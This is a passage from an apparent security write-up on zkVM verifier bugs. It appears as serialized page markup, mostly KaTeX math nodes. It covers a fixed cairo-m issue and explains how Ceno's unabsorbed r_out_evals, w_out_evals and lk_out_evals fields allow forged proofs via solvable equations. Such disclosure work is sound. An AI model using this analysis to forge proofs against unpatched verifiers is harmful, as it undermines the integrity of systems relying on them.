ype":29,"value":124865},"(other transcript",{"type":24,"tag":271,"props":124867,"children":124869},{"className":124868,"style":99837},[11732],[124870],{"type":29,"value":10818},{"type":24,"tag":271,"props":124872,"children":124874},{"className":124873},[11732,29],[124875],{"type":24,"tag":271,"props":124876,"children":124878},{"className":124877},[11732],[124879],{"type":29,"value":124880},"bound terms)",{"type":24,"tag":271,"props":124882,"children":124884},{"className":124883,"style":11908},[11810],[],{"type":24,"tag":271,"props":124886,"children":124888},{"className":124887},[11913],[124889],{"type":29,"value":762},{"type":24,"tag":271,"props":124891,"children":124893},{"className":124892,"style":11908},[11810],[],{"type":24,"tag":271,"props":124895,"children":124897},{"className":124896},[11721],[124898,124903,124908,124913,124918,124922,124927,124931,124936],{"type":24,"tag":271,"props":124899,"children":124902},{"className":124900,"style":124901},[11726],"height:0.8778em;vertical-align:-0.1944em;",[],{"type":24,"tag":271,"props":124904,"children":124906},{"className":124905},[11732],[124907],{"type":29,"value":4121},{"type":24,"tag":271,"props":124909,"children":124911},{"className":124910},[11842],[124912],{"type":29,"value":11845},{"type":24,"tag":271,"props":124914,"children":124917},{"className":124915,"style":124916},[11810],"margin-right:2em;",[],{"type":24,"tag":271,"props":124919,"children":124921},{"className":124920,"style":11849},[11810],[],{"type":24,"tag":271,"props":124923,"children":124925},{"className":124924},[11732,29273],[124926],{"type":29,"value":124801},{"type":24,"tag":271,"props":124928,"children":124930},{"className":124929,"style":11908},[11810],[],{"type":24,"tag":271,"props":124932,"children":124934},{"className":124933},[11913],[124935],{"type":29,"value":762},{"type":24,"tag":271,"props":124937,"children":124939},{"className":124938,"style":11908},[11810],[],{"type":24,"tag":271,"props":124941,"children":124943},{"className":124942},[11721],[124944,124949,125006,125010,125228],{"type":24,"tag":271,"props":124945,"children":124948},{"className":124946,"style":124947},[11726],"height:1.4071em;vertical-align:-0.562em;",[],{"type":24,"tag":271,"props":124950,"children":124952},{"className":124951},[29309],[124953,124958],{"type":24,"tag":271,"props":124954,"children":124956},{"className":124955,"style":29316},[29309,29314,29315],[124957],{"type":29,"value":115632},{"type":24,"tag":271,"props":124959,"children":124961},{"className":124960},[11747],[124962],{"type":24,"tag":271,"props":124963,"children":124965},{"className":124964},[11752,29327],[124966,124995],{"type":24,"tag":271,"props":124967,"children":124969},{"className":124968},[11757],[124970,124990],{"type":24,"tag":271,"props":124971,"children":124973},{"className":124972,"style":121044},[11762],[124974],{"type":24,"tag":271,"props":124975,"children":124976},{"style":29340},[124977,124981],{"type":24,"tag":271,"props":124978,"children":124980},{"className":124979,"style":11772},[11771],[],{"type":24,"tag":271,"props":124982,"children":124984},{"className":124983},[11777,11778,11779,11780],[124985],{"type":24,"tag":271,"props":124986,"children":124988},{"className":124987},[11732,29273,11780],[124989],{"type":29,"value":11462},{"type":24,"tag":271,"props":124991,"children":124993},{"className":124992},[29430],[124994],{"type":29,"value":29433},{"type":24,"tag":271,"props":124996,"children":124998},{"className":124997},[11757],[124999],{"type":24,"tag":271,"props":125000,"children":125002},{"className":125001,"style":121324},[11762],[125003],{"type":24,"tag":271,"props":125004,"children":125005},{},[],{"type":24,"tag":271,"props":125007,"children":125009},{"className":125008,"style":11849},[11810],[],{"type":24,"tag":271,"props":125011,"children":125013},{"className":125012},[11732],[125014,125018,125224],{"type":24,"tag":271,"props":125015,"children":125017},{"className":125016},[29402,120355],[],{"type":24,"tag":271,"props":125019,"children":125021},{"className":125020},[120360],[125022],{"type":24,"tag":271,"props":125023,"children":125025},{"className":125024},[11752,29327],[125026,125212],{"type":24,"tag":271,"props":125027,"children":125029},{"className":125028},[11757],[125030,125207],{"type":24,"tag":271,"props":125031,"children":125033},{"className":125032,"style":120373},[11762],[125034,125176,125187],{"type":24,"tag":271,"props":125035,"children":125036},{"style":120377},[125037,125041],{"type":24,"tag":271,"props":125038,"children":125040},{"className":125039,"style":119008},[11771],[],{"type":24,"tag":271,"props":125042,"children":125044},{"className":125043},[11777,11778,11779,11780],[125045],{"type":24,"tag":271,"props":125046,"children":125048},{"className":125047},[11732,11780],[125049,125054,125059,125065,125070,125075,125132,125137,125146,125151,125160,125166,125171],{"type":24,"tag":271,"props":125050,"children":125052},{"className":125051,"style":120394},[11732,29273,11780],[125053],{"type":29,"value":120397},{"type":24,"tag":271,"props":125055,"children":125057},{"className":125056},[11816,11780],[125058],{"type":29,"value":1012},{"type":24,"tag":271,"props":125060,"children":125062},{"className":125061},[29402,11780],[125063],{"type":29,"value":125064},"⟨",{"type":24,"tag":271,"props":125066,"children":125068},{"className":125067,"style":121925},[11732,29273,11780],[125069],{"type":29,"value":121928},{"type":24,"tag":271,"props":125071,"children":125073},{"className":125072},[11842,11780],[125074],{"type":29,"value":11845},{"type":24,"tag":271,"props":125076,"children":125078},{"className":125077},[11732,11780],[125079,125084],{"type":24,"tag":271,"props":125080,"children":125082},{"className":125081},[11732,29273,11780],[125083],{"type":29,"value":29415},{"type":24,"tag":271,"props":125085,"children":125087},{"className":125086},[11747],[125088],{"type":24,"tag":271,"props":125089,"children":125091},{"className":125090},[11752,29327],[125092,125121],{"type":24,"tag":271,"props":125093,"children":125095},{"className":125094},[11757],[125096,125116],{"type":24,"tag":271,"props":125097,"children":125099},{"className":125098,"style":121161},[11762],[125100],{"type":24,"tag":271,"props":125101,"children":125102},{"style":115692},[125103,125107],{"type":24,"tag":271,"props":125104,"children":125106},{"className":125105,"style":115697},[11771],[],{"type":24,"tag":271,"props":125108,"children":125110},{"className":125109},[11777,115702,115703,11780],[125111],{"type":24,"tag":271,"props":125112,"children":125114},{"className":125113},[11732,29273,11780],[125115],{"type":29,"value":11462},{"type":24,"tag":271,"props":125117,"children":125119},{"className":125118},[29430],[125120],{"type":29,"value":29433},{"type":24,"tag":271,"props":125122,"children":125124},{"className":125123},[11757],[125125],{"type":24,"tag":271,"props":125126,"children":125128},{"className":125127,"style":115722},[11762],[125129],{"type":24,"tag":271,"props":125130,"children":125131},{},[],{"type":24,"tag":271,"props":125133,"children":125135},{"className":125134},[29402,11780],[125136],{"type":29,"value":606},{"type":24,"tag":271,"props":125138,"children":125140},{"className":125139},[11732,29,11780],[125141],{"type":24,"tag":271,"props":125142,"children":125144},{"className":125143},[11732,11780],[125145],{"type":29,"value":68461},{"type":24,"tag":271,"props":125147,"children":125149},{"className":125148,"style":99837},[11732,11780],[125150],{"type":29,"value":10818},{"type":24,"tag":271,"props":125152,"children":125154},{"className":125153},[11732,29,11780],[125155],{"type":24,"tag":271,"props":125156,"children":125158},{"className":125157},[11732,11780],[125159],{"type":29,"value":8590},{"type":24,"tag":271,"props":125161,"children":125163},{"className":125162},[29424,11780],[125164],{"type":29,"value":125165},")⟩",{"type":24,"tag":271,"props":125167,"children":125169},{"className":125168},[11816,11780],[125170],{"type":29,"value":1012},{"type":24,"tag":271,"props":125172,"children":125174},{"className":125173,"style":121980},[11732,29273,11780],[125175],{"type":29,"value":121983},{"type":24,"tag":271,"props":125177,"children":125178},{"style":120410},[125179,125183],{"type":24,"tag":271,"props":125180,"children":125182},{"className":125181,"style":119008},[11771],[],{"type":24,"tag":271,"props":125184,"children":125186},{"className":125185,"style":120420},[120419],[],{"type":24,"tag":271,"props":125188,"children":125189},{"style":120424},[125190,125194],{"type":24,"tag":271,"props":125191,"children":125193},{"className":125192,"style":119008},[11771],[],{"type":24,"tag":271,"props":125195,"children":125197},{"className":125196},[11777,11778,11779,11780],[125198],{"type":24,"tag":271,"props":125199,"children":125201},{"className":125200},[11732,11780],[125202],{"type":24,"tag":271,"props":125203,"children":125205},{"className":125204},[11732,11780],[125206],{"type":29,"value":156},{"type":24,"tag":271,"props":125208,"children":125210},{"className":125209},[29430],[125211],{"type":29,"value":29433},{"type":24,"tag":271,"props":125213,"children":125215},{"className":125214},[11757],[125216],{"type":24,"tag":271,"props":125217,"children":125220},{"className":125218,"style":125219},[11762],"height:0.562em;",[125221],{"type":24,"tag":271,"props":125222,"children":125223},{},[],{"type":24,"tag":271,"props":125225,"children":125227},{"className":125226},[29424,120355],[],{"type":24,"tag":271,"props":125229,"children":125231},{"className":125230},[11732],[125232],{"type":29,"value":41},{"type":24,"tag":25,"props":125234,"children":125235},{},[125236,125238],{"type":29,"value":125237},"The global check is then that ",{"type":24,"tag":135,"props":125239,"children":125241},{"className":125240},[11705,11706],[125242],{"type":24,"tag":271,"props":125243,"children":125245},{"className":125244},[11711],[125246],{"type":24,"tag":271,"props":125247,"children":125249},{"className":125248,"ariaHidden":5670},[11716],[125250,125291,125322],{"type":24,"tag":271,"props":125251,"children":125253},{"className":125252},[11721],[125254,125258,125263,125268,125273,125278,125282,125287],{"type":24,"tag":271,"props":125255,"children":125257},{"className":125256,"style":11831},[11726],[],{"type":24,"tag":271,"props":125259,"children":125261},{"className":125260},[11732,29273],[125262],{"type":29,"value":124801},{"type":24,"tag":271,"props":125264,"children":125266},{"className":125265},[29402],[125267],{"type":29,"value":606},{"type":24,"tag":271,"props":125269,"children":125271},{"className":125270},[11732,29273],[125272],{"type":29,"value":25},{"type":24,"tag":271,"props":125274,"children":125276},{"className":125275},[29424],[125277],{"type":29,"value":2693},{"type":24,"tag":271,"props":125279,"children":125281},{"className":125280,"style":11811},[11810],[],{"type":24,"tag":271,"props":125283,"children":125285},{"className":125284},[11816],[125286],{"type":29,"value":1012},{"type":24,"tag":271,"props":125288,"children":125290},{"className":125289,"style":11811},[11810],[],{"type":24,"tag":271,"props":125292,"children":125294},{"className":125293},[11721],[125295,125299,125309,125313,125318],{"type":24,"tag":271,"props":125296,"children":125298},{"className":125297,"style":11831},[11726],[],{"type":24,"tag":271,"props":125300,"children":125302},{"className":125301},[11732,29],[125303],{"type":24,"tag":271,"props":125304,"children":125306},{"className":125305},[11732],[125307],{"type":29,"value":125308},"(other terms)",{"type":24,"tag":271,"props":125310,"children":125312},{"className":125311,"style":11908},[11810],[],{"type":24,"tag":271,"props":125314,"children":125316},{"className":125315},[11913],[125317],{"type":29,"value":762},{"type":24,"tag":271,"props":125319,"children":125321},{"className":125320,"style":11908},[11810],[],{"type":24,"tag":271,"props":125323,"children":125325},{"className":125324},[11721],[125326,125330],{"type":24,"tag":271,"props":125327,"children":125329},{"className":125328,"style":100868},[11726],[],{"type":24,"tag":271,"props":125331,"children":125333},{"className":125332},[11732],[125334],{"type":29,"value":4121},{"type":24,"tag":25,"props":125336,"children":125337},{},[125338],{"type":29,"value":125339},"With challenges fixed, this is a rational equation in public data. This is not linear, but still algebraically solvable.",{"type":24,"tag":25,"props":125341,"children":125342},{},[125343],{"type":29,"value":125344},"Public-data coordinates participate in verification relations through extension-field arithmetic (including extension-valued public-memory entries), so the forged-parameter search is a coupled extension-field system.",{"type":24,"tag":25,"props":125346,"children":125347},{},[125348,125352,125354],{"type":24,"tag":213,"props":125349,"children":125350},{},[125351],{"type":29,"value":123547},{"type":29,"value":125353}," Fixed on October 31, 2025 via ",{"type":24,"tag":32,"props":125355,"children":125358},{"href":125356,"rel":125357},"https://github.com/kkrt-labs/cairo-m/pull/352/commits/92b6740937e904e0002e7ee099fec357127c1d16",[36],[125359],{"type":29,"value":125360},"commit 92b6740",{"type":24,"tag":26485,"props":125362,"children":125363},{},[],{"type":24,"tag":85,"props":125365,"children":125367},{"id":125366},"ceno-scroll",[125368],{"type":29,"value":125369},"Ceno (Scroll)",{"type":24,"tag":25,"props":125371,"children":125372},{},[125373],{"type":29,"value":125374},"Ceno is a zkVM by Scroll, using GKR with a tower sumcheck structure.",{"type":24,"tag":25,"props":125376,"children":125377},{},[125378,125380,125385],{"type":29,"value":125379},"Ceno splits verification into ",{"type":24,"tag":213,"props":125381,"children":125382},{},[125383],{"type":29,"value":125384},"chips",{"type":29,"value":125386},", with one per opcode or lookup table. Each chip proves its constraints independently.",{"type":24,"tag":25,"props":125388,"children":125389},{},[125390,125392,125397],{"type":29,"value":125391},"Many per-record values (reads, writes, lookups) are batched into a binary tree structure. Each layer folds pairs of values with random challenges; this is the ",{"type":24,"tag":213,"props":125393,"children":125394},{},[125395],{"type":29,"value":125396},"tower sumcheck",{"type":29,"value":41},{"type":24,"tag":25,"props":125399,"children":125400},{},[125401],{"type":29,"value":125402},"All read records must match all write records (plus initial/final state). This is checked via a multiset equality, this time using a product instead of logup:",{"type":24,"tag":25,"props":125404,"children":125405},{},[125406],{"type":24,"tag":135,"props":125407,"children":125409},{"className":125408},[11705,11706],[125410],{"type":24,"tag":271,"props":125411,"children":125413},{"className":125412},[11711],[125414],{"type":24,"tag":271,"props":125415,"children":125417},{"className":125416,"ariaHidden":5670},[11716],[125418,125592,125765],{"type":24,"tag":271,"props":125419,"children":125421},{"className":125420},[11721],[125422,125426,125484,125488,125497,125502,125512,125517,125579,125583,125588],{"type":24,"tag":271,"props":125423,"children":125425},{"className":125424,"style":99779},[11726],[],{"type":24,"tag":271,"props":125427,"children":125429},{"className":125428},[29309],[125430,125436],{"type":24,"tag":271,"props":125431,"children":125433},{"className":125432,"style":29316},[29309,29314,29315],[125434],{"type":29,"value":125435},"∏",{"type":24,"tag":271,"props":125437,"children":125439},{"className":125438},[11747],[125440],{"type":24,"tag":271,"props":125441,"children":125443},{"className":125442},[11752,29327],[125444,125473],{"type":24,"tag":271,"props":125445,"children":125447},{"className":125446},[11757],[125448,125468],{"type":24,"tag":271,"props":125449,"children":125451},{"className":125450,"style":121044},[11762],[125452],{"type":24,"tag":271,"props":125453,"children":125454},{"style":29340},[125455,125459],{"type":24,"tag":271,"props":125456,"children":125458},{"className":125457,"style":11772},[11771],[],{"type":24,"tag":271,"props":125460,"children":125462},{"className":125461},[11777,11778,11779,11780],[125463],{"type":24,"tag":271,"props":125464,"children":125466},{"className":125465},[11732,29273,11780],[125467],{"type":29,"value":11462},{"type":24,"tag":271,"props":125469,"children":125471},{"className":125470},[29430],[125472],{"type":29,"value":29433},{"type":24,"tag":271,"props":125474,"children":125476},{"className":125475},[11757],[125477],{"type":24,"tag":271,"props":125478,"children":125480},{"className":125479,"style":121324},[11762],[125481],{"type":24,"tag":271,"props":125482,"children":125483},{},[],{"type":24,"tag":271,"props":125485,"children":125487},{"className":125486,"style":11849},[11810],[],{"type":24,"tag":271,"props":125489,"children":125491},{"className":125490},[11732,29],[125492],{"type":24,"tag":271,"props":125493,"children":125495},{"className":125494},[11732],[125496],{"type":29,"value":100656},{"type":24,"tag":271,"props":125498,"children":125500},{"className":125499,"style":99837},[11732],[125501],{"type":29,"value":10818},{"type":24,"tag":271,"props":125503,"children":125505},{"className":125504},[11732,29],[125506],{"type":24,"tag":271,"props":125507,"children":125509},{"className":125508},[11732],[125510],{"type":29,"value":125511},"out",{"type":24,"tag":271,"props":125513,"children":125515},{"className":125514,"style":99837},[11732],[125516],{"type":29,"value":10818},{"type":24,"tag":271,"props":125518,"children":125520},{"className":125519},[11732],[125521,125531],{"type":24,"tag":271,"props":125522,"children":125524},{"className":125523},[11732,29],[125525],{"type":24,"tag":271,"props":125526,"children":125528},{"className":125527},[11732],[125529],{"type":29,"value":125530},"evals",{"type":24,"tag":271,"props":125532,"children":125534},{"className":125533},[11747],[125535],{"type":24,"tag":271,"props":125536,"children":125538},{"className":125537},[11752,29327],[125539,125568],{"type":24,"tag":271,"props":125540,"children":125542},{"className":125541},[11757],[125543,125563],{"type":24,"tag":271,"props":125544,"children":125546},{"className":125545,"style":100366},[11762],[125547],{"type":24,"tag":271,"props":125548,"children":125549},{"style":120967},[125550,125554],{"type":24,"tag":271,"props":125551,"children":125553},{"className":125552,"style":11772},[11771],[],{"type":24,"tag":271,"props":125555,"children":125557},{"className":125556},[11777,11778,11779,11780],[125558],{"type":24,"tag":271,"props":125559,"children":125561},{"className":125560},[11732,29273,11780],[125562],{"type":29,"value":11462},{"type":24,"tag":271,"props":125564,"children":125566},{"className":125565},[29430],[125567],{"type":29,"value":29433},{"type":24,"tag":271,"props":125569,"children":125571},{"className":125570},[11757],[125572],{"type":24,"tag":271,"props":125573,"children":125575},{"className":125574,"style":99920},[11762],[125576],{"type":24,"tag":271,"props":125577,"children":125578},{},[],{"type":24,"tag":271,"props":125580,"children":125582},{"className":125581,"style":11908},[11810],[],{"type":24,"tag":271,"props":125584,"children":125586},{"className":125585},[11913],[125587],{"type":29,"value":762},{"type":24,"tag":271,"props":125589,"children":125591},{"className":125590,"style":11908},[11810],[],{"type":24,"tag":271,"props":125593,"children":125595},{"className":125594},[11721],[125596,125601,125658,125662,125671,125676,125685,125690,125752,125756,125761],{"type":24,"tag":271,"props":125597,"children":125600},{"className":125598,"style":125599},[11726],"height:1.1858em;vertical-align:-0.4358em;",[],{"type":24,"tag":271,"props":125602,"children":125604},{"className":125603},[29309],[125605,125610],{"type":24,"tag":271,"props":125606,"children":125608},{"className":125607,"style":29316},[29309,29314,29315],[125609],{"type":29,"value":125435},{"type":24,"tag":271,"props":125611,"children":125613},{"className":125612},[11747],[125614],{"type":24,"tag":271,"props":125615,"children":125617},{"className":125616},[11752,29327],[125618,125647],{"type":24,"tag":271,"props":125619,"children":125621},{"className":125620},[11757],[125622,125642],{"type":24,"tag":271,"props":125623,"children":125625},{"className":125624,"style":121044},[11762],[125626],{"type":24,"tag":271,"props":125627,"children":125628},{"style":29340},[125629,125633],{"type":24,"tag":271,"props":125630,"children":125632},{"className":125631,"style":11772},[11771],[],{"type":24,"tag":271,"props":125634,"children":125636},{"className":125635},[11777,11778,11779,11780],[125637],{"type":24,"tag":271,"props":125638,"children":125640},{"className":125639,"style":121060},[11732,29273,11780],[125641],{"type":29,"value":16370},{"type":24,"tag":271,"props":125643,"children":125645},{"className":125644},[29430],[125646],{"type":29,"value":29433},{"type":24,"tag":271,"props":125648,"children":125650},{"className":125649},[11757],[125651],{"type":24,"tag":271,"props":125652,"children":125654},{"className":125653,"style":121075},[11762],[125655],{"type":24,"tag":271,"props":125656,"children":125657},{},[],{"type":24,"tag":271,"props":125659,"children":125661},{"className":125660,"style":11849},[11810],[],{"type":24,"tag":271,"props":125663,"children":125665},{"className":125664},[11732,29],[125666],{"type":24,"tag":271,"props":125667,"children":125669},{"className":125668},[11732],[125670],{"type":29,"value":2930},{"type":24,"tag":271,"props":125672,"children":125674},{"className":125673,"style":99837},[11732],[125675],{"type":29,"value":10818},{"type":24,"tag":271,"props":125677,"children":125679},{"className":125678},[11732,29],[125680],{"type":24,"tag":271,"props":125681,"children":125683},{"className":125682},[11732],[125684],{"type":29,"value":125511},{"type":24,"tag":271,"props":125686,"children":125688},{"className":125687,"style":99837},[11732],[125689],{"type":29,"value":10818},{"type":24,"tag":271,"props":125691,"children":125693},{"className":125692},[11732],[125694,125703],{"type":24,"tag":271,"props":125695,"children":125697},{"className":125696},[11732,29],[125698],{"type":24,"tag":271,"props":125699,"children":125701},{"className":125700},[11732],[125702],{"type":29,"value":125530},{"type":24,"tag":271,"props":125704,"children":125706},{"className":125705},[11747],[125707],{"type":24,"tag":271,"props":125708,"children":125710},{"className":125709},[11752,29327],[125711,125740],{"type":24,"tag":271,"props":125712,"children":125714},{"className":125713},[11757],[125715,125735],{"type":24,"tag":271,"props":125716,"children":125718},{"className":125717,"style":100366},[11762],[125719],{"type":24,"tag":271,"props":125720,"children":125721},{"style":120967},[125722,125726],{"type":24,"tag":271,"props":125723,"children":125725},{"className":125724,"style":11772},[11771],[],{"type":24,"tag":271,"props":125727,"children":125729},{"className":125728},[11777,11778,11779,11780],[125730],{"type":24,"tag":271,"props":125731,"children":125733},{"className":125732,"style":121060},[11732,29273,11780],[125734],{"type":29,"value":16370},{"type":24,"tag":271,"props":125736,"children":125738},{"className":125737},[29430],[125739],{"type":29,"value":29433},{"type":24,"tag":271,"props":125741,"children":125743},{"className":125742},[11757],[125744],{"type":24,"tag":271,"props":125745,"children":125748},{"className":125746,"style":125747},[11762],"height:0.2861em;",[125749],{"type":24,"tag":271,"props":125750,"children":125751},{},[],{"type":24,"tag":271,"props":125753,"children":125755},{"className":125754,"style":11811},[11810],[],{"type":24,"tag":271,"props":125757,"children":125759},{"className":125758},[11816],[125760],{"type":29,"value":118099},{"type":24,"tag":271,"props":125762,"children":125764},{"className":125763,"style":11811},[11810],[],{"type":24,"tag":271,"props":125766,"children":125768},{"className":125767},[11721],[125769,125773,125778,125788],{"type":24,"tag":271,"props":125770,"children":125772},{"className":125771,"style":11831},[11726],[],{"type":24,"tag":271,"props":125774,"children":125776},{"className":125775},[29402],[125777],{"type":29,"value":606},{"type":24,"tag":271,"props":125779,"children":125781},{"className":125780},[11732,29],[125782],{"type":24,"tag":271,"props":125783,"children":125785},{"className":125784},[11732],[125786],{"type":29,"value":125787},"state factors",{"type":24,"tag":271,"props":125789,"children":125791},{"className":125790},[29424],[125792],{"type":29,"value":2693},{"type":24,"tag":25,"props":125794,"children":125795},{},[125796],{"type":24,"tag":213,"props":125797,"children":125798},{},[125799],{"type":29,"value":122253},{"type":24,"tag":261,"props":125801,"children":125803},{"code":125802},"ZKVMChipProof {\n r_out_evals: [[FieldElement]], // \u003C- VULNERABLE\n w_out_evals: [[FieldElement]], // \u003C- VULNERABLE\n lk_out_evals: [[FieldElement]], // \u003C- VULNERABLE\n tower_proof: [...],\n gkr_iop_proof: [...],\n}\n",[125804],{"type":24,"tag":135,"props":125805,"children":125806},{"__ignoreMap":7},[125807],{"type":29,"value":125802},{"type":24,"tag":25,"props":125809,"children":125810},{},[125811,125817,125818,125824,125825,125831],{"type":24,"tag":135,"props":125812,"children":125814},{"className":125813},[],[125815],{"type":29,"value":125816},"r_out_evals",{"type":29,"value":158},{"type":24,"tag":135,"props":125819,"children":125821},{"className":125820},[],[125822],{"type":29,"value":125823},"w_out_evals",{"type":29,"value":14204},{"type":24,"tag":135,"props":125826,"children":125828},{"className":125827},[],[125829],{"type":29,"value":125830},"lk_out_evals",{"type":29,"value":125832}," are used to initialize the tower sumcheck claim, but they're never absorbed into the transcript. This leaves us with two equations:",{"type":24,"tag":3834,"props":125834,"children":125835},{},[125836],{"type":24,"tag":101,"props":125837,"children":125838},{},[125839,125844,125846,125852],{"type":24,"tag":213,"props":125840,"children":125841},{},[125842],{"type":29,"value":125843},"GKR/Tower equation",{"type":29,"value":125845}," (linear in ",{"type":24,"tag":135,"props":125847,"children":125849},{"className":125848},[],[125850],{"type":29,"value":125851},"out_evals",{"type":29,"value":31621},{"type":24,"tag":25,"props":125854,"children":125855},{},[125856,125858],{"type":29,"value":125857},"The tower sumcheck claim is ",{"type":24,"tag":135,"props":125859,"children":125861},{"className":125860},[11705,11706],[125862],{"type":24,"tag":271,"props":125863,"children":125865},{"className":125864},[11711],[125866],{"type":24,"tag":271,"props":125867,"children":125869},{"className":125868,"ariaHidden":5670},[11716],[125870,125901,126026],{"type":24,"tag":271,"props":125871,"children":125873},{"className":125872},[11721],[125874,125878,125888,125892,125897],{"type":24,"tag":271,"props":125875,"children":125877},{"className":125876,"style":99752},[11726],[],{"type":24,"tag":271,"props":125879,"children":125881},{"className":125880},[11732,29],[125882],{"type":24,"tag":271,"props":125883,"children":125885},{"className":125884},[11732],[125886],{"type":29,"value":125887},"claim",{"type":24,"tag":271,"props":125889,"children":125891},{"className":125890,"style":11908},[11810],[],{"type":24,"tag":271,"props":125893,"children":125895},{"className":125894},[11913],[125896],{"type":29,"value":762},{"type":24,"tag":271,"props":125898,"children":125900},{"className":125899,"style":11908},[11810],[],{"type":24,"tag":271,"props":125902,"children":125904},{"className":125903},[11721],[125905,125910,125967,125971,126013,126017,126022],{"type":24,"tag":271,"props":125906,"children":125909},{"className":125907,"style":125908},[11726],"height:1.2605em;vertical-align:-0.4358em;",[],{"type":24,"tag":271,"props":125911,"children":125913},{"className":125912},[29309],[125914,125919],{"type":24,"tag":271,"props":125915,"children":125917},{"className":125916,"style":29316},[29309,29314,29315],[125918],{"type":29,"value":115632},{"type":24,"tag":271,"props":125920,"children":125922},{"className":125921},[11747],[125923],{"type":24,"tag":271,"props":125924,"children":125926},{"className":125925},[11752,29327],[125927,125956],{"type":24,"tag":271,"props":125928,"children":125930},{"className":125929},[11757],[125931,125951],{"type":24,"tag":271,"props":125932,"children":125934},{"className":125933,"style":121044},[11762],[125935],{"type":24,"tag":271,"props":125936,"children":125937},{"style":29340},[125938,125942],{"type":24,"tag":271,"props":125939,"children":125941},{"className":125940,"style":11772},[11771],[],{"type":24,"tag":271,"props":125943,"children":125945},{"className":125944},[11777,11778,11779,11780],[125946],{"type":24,"tag":271,"props":125947,"children":125949},{"className":125948,"style":121060},[11732,29273,11780],[125950],{"type":29,"value":16370},{"type":24,"tag":271,"props":125952,"children":125954},{"className":125953},[29430],[125955],{"type":29,"value":29433},{"type":24,"tag":271,"props":125957,"children":125959},{"className":125958},[11757],[125960],{"type":24,"tag":271,"props":125961,"children":125963},{"className":125962,"style":121075},[11762],[125964],{"type":24,"tag":271,"props":125965,"children":125966},{},[],{"type":24,"tag":271,"props":125968,"children":125970},{"className":125969,"style":11849},[11810],[],{"type":24,"tag":271,"props":125972,"children":125974},{"className":125973},[11732],[125975,125980],{"type":24,"tag":271,"props":125976,"children":125978},{"className":125977,"style":121925},[11732,29273],[125979],{"type":29,"value":121928},{"type":24,"tag":271,"props":125981,"children":125983},{"className":125982},[11747],[125984],{"type":24,"tag":271,"props":125985,"children":125987},{"className":125986},[11752],[125988],{"type":24,"tag":271,"props":125989,"children":125991},{"className":125990},[11757],[125992],{"type":24,"tag":271,"props":125993,"children":125996},{"className":125994,"style":125995},[11762],"height:0.8247em;",[125997],{"type":24,"tag":271,"props":125998,"children":125999},{"style":11766},[126000,126004],{"type":24,"tag":271,"props":126001,"children":126003},{"className":126002,"style":11772},[11771],[],{"type":24,"tag":271,"props":126005,"children":126007},{"className":126006},[11777,11778,11779,11780],[126008],{"type":24,"tag":271,"props":126009,"children":126011},{"className":126010,"style":121060},[11732,29273,11780],[126012],{"type":29,"value":16370},{"type":24,"tag":271,"props":126014,"children":126016},{"className":126015,"style":11811},[11810],[],{"type":24,"tag":271,"props":126018,"children":126020},{"className":126019},[11816],[126021],{"type":29,"value":118099},{"type":24,"tag":271,"props":126023,"children":126025},{"className":126024,"style":11811},[11810],[],{"type":24,"tag":271,"props":126027,"children":126029},{"className":126028},[11721],[126030,126034,126043,126048],{"type":24,"tag":271,"props":126031,"children":126033},{"className":126032,"style":101250},[11726],[],{"type":24,"tag":271,"props":126035,"children":126037},{"className":126036},[11732,29],[126038],{"type":24,"tag":271,"props":126039,"children":126041},{"className":126040},[11732],[126042],{"type":29,"value":125511},{"type":24,"tag":271,"props":126044,"children":126046},{"className":126045,"style":99837},[11732],[126047],{"type":29,"value":10818},{"type":24,"tag":271,"props":126049,"children":126051},{"className":126050},[11732],[126052,126061],{"type":24,"tag":271,"props":126053,"children":126055},{"className":126054},[11732,29],[126056],{"type":24,"tag":271,"props":126057,"children":126059},{"className":126058},[11732],[126060],{"type":29,"value":125530},{"type":24,"tag":271,"props":126062,"children":126064},{"className":126063},[11747],[126065],{"type":24,"tag":271,"props":126066,"children":126068},{"className":126067},[11752,29327],[126069,126098],{"type":24,"tag":271,"props":126070,"children":126072},{"className":126071},[11757],[126073,126093],{"type":24,"tag":271,"props":126074,"children":126076},{"className":126075,"style":100366},[11762],[126077],{"type":24,"tag":271,"props":126078,"children":126079},{"style":120967},[126080,126084],{"type":24,"tag":271,"props":126081,"children":126083},{"className":126082,"style":11772},[11771],[],{"type":24,"tag":271,"props":126085,"children":126087},{"className":126086},[11777,11778,11779,11780],[126088],{"type":24,"tag":271,"props":126089,"children":126091},{"className":126090,"style":121060},[11732,29273,11780],[126092],{"type":29,"value":16370},{"type":24,"tag":271,"props":126094,"children":126096},{"className":126095},[29430],[126097],{"type":29,"value":29433},{"type":24,"tag":271,"props":126099,"children":126101},{"className":126100},[11757],[126102],{"type":24,"tag":271,"props":126103,"children":126105},{"className":126104,"style":125747},[11762],[126106],{"type":24,"tag":271,"props":126107,"children":126108},{},[],{"type":24,"tag":25,"props":126110,"children":126111},{},[126112,126114,126119],{"type":29,"value":126113},"This check is linear in ",{"type":24,"tag":135,"props":126115,"children":126117},{"className":126116},[],[126118],{"type":29,"value":125851},{"type":29,"value":41},{"type":24,"tag":3834,"props":126121,"children":126122},{"start":284},[126123],{"type":24,"tag":101,"props":126124,"children":126125},{},[126126,126131,126133,126138],{"type":24,"tag":213,"props":126127,"children":126128},{},[126129],{"type":29,"value":126130},"rw-product consistency",{"type":29,"value":126132}," (bilinear in ",{"type":24,"tag":135,"props":126134,"children":126136},{"className":126135},[],[126137],{"type":29,"value":125851},{"type":29,"value":31621},{"type":24,"tag":25,"props":126140,"children":126141},{},[126142],{"type":24,"tag":135,"props":126143,"children":126145},{"className":126144},[11705,11706],[126146],{"type":24,"tag":271,"props":126147,"children":126149},{"className":126148},[11711],[126150],{"type":24,"tag":271,"props":126151,"children":126153},{"className":126152,"ariaHidden":5670},[11716],[126154,126325,126496],{"type":24,"tag":271,"props":126155,"children":126157},{"className":126156},[11721],[126158,126162,126219,126223,126232,126237,126246,126251,126312,126316,126321],{"type":24,"tag":271,"props":126159,"children":126161},{"className":126160,"style":99779},[11726],[],{"type":24,"tag":271,"props":126163,"children":126165},{"className":126164},[29309],[126166,126171],{"type":24,"tag":271,"props":126167,"children":126169},{"className":126168,"style":29316},[29309,29314,29315],[126170],{"type":29,"value":125435},{"type":24,"tag":271,"props":126172,"children":126174},{"className":126173},[11747],[126175],{"type":24,"tag":271,"props":126176,"children":126178},{"className":126177},[11752,29327],[126179,126208],{"type":24,"tag":271,"props":126180,"children":126182},{"className":126181},[11757],[126183,126203],{"type":24,"tag":271,"props":126184,"children":126186},{"className":126185,"style":121044},[11762],[126187],{"type":24,"tag":271,"props":126188,"children":126189},{"style":29340},[126190,126194],{"type":24,"tag":271,"props":126191,"children":126193},{"className":126192,"style":11772},[11771],[],{"type